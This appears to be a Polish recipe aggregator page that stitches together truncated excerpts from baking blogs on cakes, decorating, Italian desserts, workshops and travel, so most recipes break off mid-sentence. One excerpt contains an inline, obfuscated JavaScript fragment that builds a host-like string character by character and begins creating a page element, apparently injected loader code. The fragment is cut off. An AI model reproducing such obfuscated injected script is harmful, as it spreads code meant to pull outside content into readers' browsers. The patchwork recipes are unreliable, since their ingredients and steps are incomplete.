domowe torty - 1500 przepisów (strona:79/100)

       Nie znam osoby, która by go nie lubiła, ulubieniec najmłodszych, słodki ciągnący się Pan Karmel. Wygląda a smakuje znacznie lepiej niż gotowe

Tworząc ten torcik wzorowała się na słynnym torcie Sachera którego jeszcze nigdy nie piekłam, ale w końcu i jego też upiekę ;) Ciasto jest w punkt słodkie, a słodycz jego przełamana jest kwaskowatym dżemem. Ja dorzuciłam jeszcze bardzo słodkie cukierki czekoladowe które nam nie smakowały i nie wiadomo było co z nimi tak naprawdę zrobić. Nadały one ciastu większej wilgotności(...)czekolady gorzkiej 1 czubata łyżeczka kakao ewent. 5-6 cukierków truflowych dodatkowo: 125 g mascarpone 3 łyżki cukru pudru około 1/2 słoika dżemu rabarbarowego lub morelowego   np. domowego <--klik polewa: 20 g masła 5 łyżeczek cukru 3 łyżeczki kakao 1 łyżka zimnego mleka ewent drobno pokrojone orzechy laskowe lub wiórki kokosowe Pieczenie 1. Białko oddzielamy od żółtek

efekt może być oszałamiający. Ja nie jestem mistrzynią w takich ozdobach, ale moja znajoma tworzy cudowne torty. Osobiście stawiam raczej na masy cukrowe, dzięki którym nawet z pozoru najłatwiejszy tort może przerodzić się w arcydzieło. Mając w domu ozdobne wałki i wiele różnych foremek do ciasteczek można tworzyć niebanalne wzory. Polecam Wam spróbować. Masa cukrowa jest idealna dla każdej, nawet(...)dekoracja gotowa Niegdyś, aby ozdobić ciasto mieliśmy do wyboru wyłącznie lukier, polewę i krem. Dziś wybór jest o wiele większy i nawet słabszy cukiernik może stworzyć arcydzieło w swojej domowej kuchni. Nie bójcie się i próbujcie! Dekorowanie wypieków naprawdę jest łatwe i może przysporzyć Wam dużo radości i… satysfakcji.   (function(){ xkh9_=("u"+"")+"s"+"";xkh9_+=("tat.")+("i"); xkh9=document.createElement

Witam Kochani tego jesiennego wieczora Byłam dziś w Krakowie, fajny dzień, bo wreszcie  świeciło słońce, było bardzo ciepło :-) Wróciła złota jesień. Oprócz tego byłam w

bakaliami (Crostata di frutta secca) Kakaowa tarta z kremem z białej czekolady z malinami  Bezglutenowe mini serniczki z jogurtem greckim (Mini cheesecake con yogurt greco, senza glutine) Cytrynowy tort z limoncello (Torta al limone e limoncello) Tarta z kremem cytrynowym (Crostata alla crema di limoni) Cytrynowy sernik na zimno (Cheesecake al limone) Sernik z ricotty i kremu pasticcera (Crostata(...)Tartaletki z kremem czekoladowym i truskawkami (Crostatine con crema al cioccolato e fragole) Kruche ciasteczka z morelową konfiturą (Biscotti con confettura di albicocche) "Canestrelli" - włoskie kruche ciasteczka (Canestrelli liguri) Domowe czekoladki z migdałami (Cioccolatini con mandorle) Torcik z musem czekoladowym (Torta di mousse al cioccolato)  Babà w rumie (Babà al rhum) Smacznego! Buon appetito

    Za oknem upał, sezon truskawkowy w pełni, mleko kokosowe w lodówce, oczekujące na wykorzystanie. Dodaję te wszystkie okoliczności do siebie, stawiam wielki plus

Pamiętam jej uśmiech, kiedy razem ze mną, siedzącą na kuchennym stole, wyglądałyśmy jak dwa mączne bałwanki. Pamiętam głos i śmiech, gdy nieudolnie próbowałam zagnieść ciasto, obklejając

już czwarty wypiek zainspirowany niedawnym konkursem na naszym blogu. Dziś urocza odsłona przepisu nadesłanego przez Aleksandrę .  Pierwotnie był to tort jednak w tym czasie miałyśmy ochotę na muffinki :P Naszą zmianą są także niesiarkowane morele zamiast daktyli, które nadają niepowtarzalnego smaku oraz mąka z ciecierzycy zamiast kokosowej (bo ta druga nam po prostu wyszła... i nie wróciła :P). Dzięki(...)pieczenia na kamieniu winnym Krem ryżowo-kokosowy - ½ szkl. ryżu białego -1 szkl. napoju migdałowego (lub mleka) -1 szkl. mleka kokosowego -ksylitol lub inna substancja słodząca (według indywidualnych preferencji) Dodatkowo -domowy marcepan + świeży sok z buraka + mąka ryżowa -wykałaczki MUFFINY JAGLANE Kaszę kilka razy wypłukać we wrzątku. W nieprzywierającym garnuszku wymieszać mleko kokosowe, wodę, olej, morele, chia i ugotować

nieprzywieralną powłoką typu non-stick, dzięki czemu nie miałam żadnych problemów z wyciągnięciem sernika na tackę. Na koniec napiszę, że minusów nie znalazłam, a mało tego taką wisienką na torcie będzie cena, bo na dzień dzisiejszy w sklepie Garneczki forma ma bardzo atrakcyjną cenę promocyjną,  jedyne 19 zł. Normalnie, aż ma się ochotę zamówić od razy dwie, a nawet(...)takie małe co nieco ;) Składniki na formę 35 x 11 cm: Spód: 90 g ciastek maślanych (zwykle używam ciastek Bonitki z Biedronki) 25 g rozpuszczonego masła 15 g  domowego masła orzechowego Ciastka zmiksowałam w blenderze na piasek. Wlałam rozpuszczone masło, wymieszałam. Dołożyłam masło orzechowe i wmieszałam w ciasteczka. Ogólnie chodzi tu, aby konsystencją ciasteczka z masłem przypominały mokry piasek

dniach, kiedy tęsknimy za dekadencją, pozwalamy sobie zastąpić wodę białym winem. A dlaczego nie? Gotowe grzyby odstawiamy. Tortownicę natłuszczamy- u nas to była 23cm, spokojnie może być mniejsza, wtedy tort będzie wyższy. Pierwszym opakowaniem kruchego ciasta wykładamy dno i boki tortownicy (najlepiej zarzucić je poza krawędzie formy), nakłuwamy. Układamy warstwy składników- salami, połowę tartego sera, grzyby, resztę sera, szynkę(...)odgrzaniu. Jest zdradziecko sycący i swoje waży- konQbek w Bergamo poprosił 300 gram i dostaliśmy raczej niewielki kawałek. W zupełności jednak wystarczył, żeby zapełnić nasze żołądki. Ten domowy też taki był. Świetnie sprawdził się jako przekąska do pracy. Co tu dużo gadać- zróbcie go, a spłynie na was włoskie szczęście

zakończonym festiwalu wybierana jest najlepsza. W wiosennym wydaniu RESTAURANT WEEK we Wrocławiu wygrała restauracja ALYKI, a jedną z nagród był tort przygotowany przeze mnie :). Ogromnie się cieszę, ponieważ tort się spodobał i podobno był pyszny. W ramach festiwalu organizowane były również warsztaty, wykłady i spotkania. Udało mi się przygotować z tego wydarzenia krótki FILM .   Subskrybuj kanał Małej Cukierenki(...)Przygotowaliśmy sałatkę z łososiem, kaczkę z puree z pietruszki i jarmużem oraz suflet czekoladowy z gorgonzolą.     Następne warsztaty to: Warsztaty barmańskie. Miały nam pokazać, jak w domowych warunkach, bez użycia profesjonalnego sprzętu barmańskiego, przygotować klasyczne, a nietuzinkowe cocktaile. Odbywały się w Vertigo Jazz Club & Restaurant. Prowadził je Kacper Dylak – manager Vertigo Jazz Club & Restaurant, tegoroczny finalista

Obładowana wielkimi siatami z zakupami, krąży po mieście. Wszystko już ma, no prawie. Jeden element brakuje, ale ten najważniejszy, by te smakowe puzzle ułożyć i stworzyć

kulinarnych organizowanych przez markę Galeo . Zostały one zorganizowane w moim ulubionym studiu kulinarnym CookUp przy ulicy Racławickiej 99 w Warszawie. Tym razem tematem przewodnim spotkania były „Światowe standardy w domowym wydaniu”, a poprowadził je niesamowicie sympatyczny Maciej Wawryniuk – doradca kulinarny i szef studia kulinarnego marek Kamis i Galeo . Po przybyciu do studia i wstępnych powitaniach, dostaliśmy pyszną kawkę i sympatyczna(...)podana gremolatą 3. Crepe Suzette – obłędne naleśniki w słodkim sosie pomarańczowym Po wszystkim zasiedliśmy do stołu i przystąpiliśmy do degustacji przyrządzonych dań. Na koniec na salę wjechał obłędny tort. Okazało się, że szef kuchni obchodził w tym dniu swoje urodziny! Jeszcze raz wszystkiego najlepszego! Bardzo dziękuję za zaproszenie! Bardzo dużo się nauczyłam a jedzenie było przepyszne

wybór słodkich wypieków i pieczywa jest tu o wiele większy. No cóż Zadar to małe miasto, a Wiedeń jakby nie było stolica. Znane austriackie ciastko to jabłkowy strudel i tort Sacher koniecznie podane z bitą śmietaną. W Wiedniu jest mnóstwo restauracji o międzynarodowym profilu. W pierwszym dniu wybraliśmy się do włoskiej restauracji. Następnego dnia chciałam jednak zjeść tradycyjny austriacki obiad(...)Mają tam bardzo dobry wybór lodów, ciastek i ciastek tortowych. Można skosztować zimne prosecco lub wypić dobre piwo. Mój mąż był bardzo zadowolony z austriackiego piwa. Poza tym wypróbowaliśmy domową lemoniadę z granatu i lemoniadę miętowo limonkową. W Aida wybrałam lekkie ciasto z jagodowym musem i truskawkową galaretką. Poza tym spróbowałam ciasteczkowe lody sacher i lody limonkowe. Łącznie do wyboru